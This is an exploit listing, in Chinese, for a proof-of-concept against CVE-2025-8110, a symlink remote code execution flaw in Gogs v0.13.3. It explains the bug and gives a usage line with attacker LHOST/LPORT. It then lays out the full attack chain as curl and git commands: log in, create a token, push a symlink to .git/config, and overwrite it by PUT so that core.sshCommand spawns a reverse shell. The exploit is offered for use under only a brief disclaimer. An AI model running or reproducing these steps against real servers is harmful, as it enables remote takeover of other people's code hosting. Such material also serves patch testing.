## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MANANISPIWPIW-CVE-2025-8110-POC
# CVE-2025-8110 概念验证
Python 概念验证脚本,针对 **CVE-2025-8110** — Gogs v0.13.3 `UpdateRepoFile` 符号链接远程代码执行。单次攻击:恶意 PUT 请求本身触发 `git fetch` → `sshCommand` → 反弹 shell。
> ⚠️ 仅供教育和授权安全研究使用。 针对你不拥有或未经书面许可测试的系统运行此工具是非法的。
## 详情
* 针对 **CVE-2025-8110** 的 PoC
* 受影响版本:Gogs **v0.13.3**
* 已修复版本:Gogs **v0.13.4**
* 参考:https://github.com/gogs/gogs/security/advisories/GHSA-2f2w-5pm3-26wp
## 漏洞行为
`internal/db/repo_editor.go` 中的 `UpdateRepoFile` 处理函数调用了 `os.WriteFile` 来写入文件内容,该函数会跟随符号链接,而不检查它们。结合之前提交的符号链接会遍历到 `.git/` 目录的事实,攻击者可以:
1. 推送一个符号链接 `x` → `.git/config` 到裸仓库
2. 调用 `PUT /api/v1/repos/{owner}/{repo}/contents/x`,附带包含 `core.sshCommand` 设置为反弹 shell 命令的恶意 `.git/config`
3. **同一个 PUT 请求** 写入配置 **并** 触发 `git fetch origin`(通过 `CreateOrUpdateRepoFile` → `UpdateLocalCopyBranch`),它会读取修改后的配置并执行 `sshCommand` — 一次性生成一个反弹 shell。
## 文件
* `poc.py`: 提示输入目标、用户名、密码、LHOST 和 LPORT;登录,创建 API 令牌,创建仓库,推送符号链接,并通过 API 覆盖 `.git/config` — 单个 PUT 请求本身触发反弹 shell。
## 用法
运行:
root@kitploit:~
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
### 参数
## 工作原理
1. **登录** — 使用提供的凭据登录 Gogs Web 界面
2. **令牌** — 通过 `/user/settings/applications` 创建一个个人 API 令牌
3. **仓库** — 通过 Gogs API 创建一个新的空仓库
4. **推送符号链接** — 克隆仓库,创建一个符号链接 `x → .git/config`,提交并推送
5. **覆盖并触发(单次)** — 发送 `PUT /api/v1/repos/{owner}/{repo}/contents/x`,附带包含 `core.sshCommand` 和 SSH 远程 URL 的恶意 git 配置。Gogs 的 `CreateOrUpdateRepoFile` 内部调用 `UpdateLocalCopyBranch` → `git fetch origin`,它会读取被篡改的配置并执行 `sshCommand` — 在一个请求中产生一个反弹 shell。
## 等效 curl
### 登录并获取 CSRF
root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# 从响应中提取 _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
### 创建 API 令牌
root@kitploit:~
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# 提取 _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
### 创建仓库
root@kitploit:~
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
### 推送符号链接
root@kitploit:~
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "添加符号链接"
git push origin master
### 覆盖并触发(单次 PUT — 预期超时,shell 到达)
root@kitploit:~
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<恶意 git 配置的 base64>"}'
PUT 请求本身触发 `git fetch origin`,它会读取被篡改的 `.git/config` 并执行反弹 shell。无需第二次请求。
> **为什么使用`--max-time 10`?** 服务器可能会暂停约 10 秒,同时 git 处理写入并触发 fetch。使用 `--max-time 10` 可确保 curl 保持连接足够长的时间,以使 shell 回连。如果不使用,连接可能会在 shell 触发之前断开。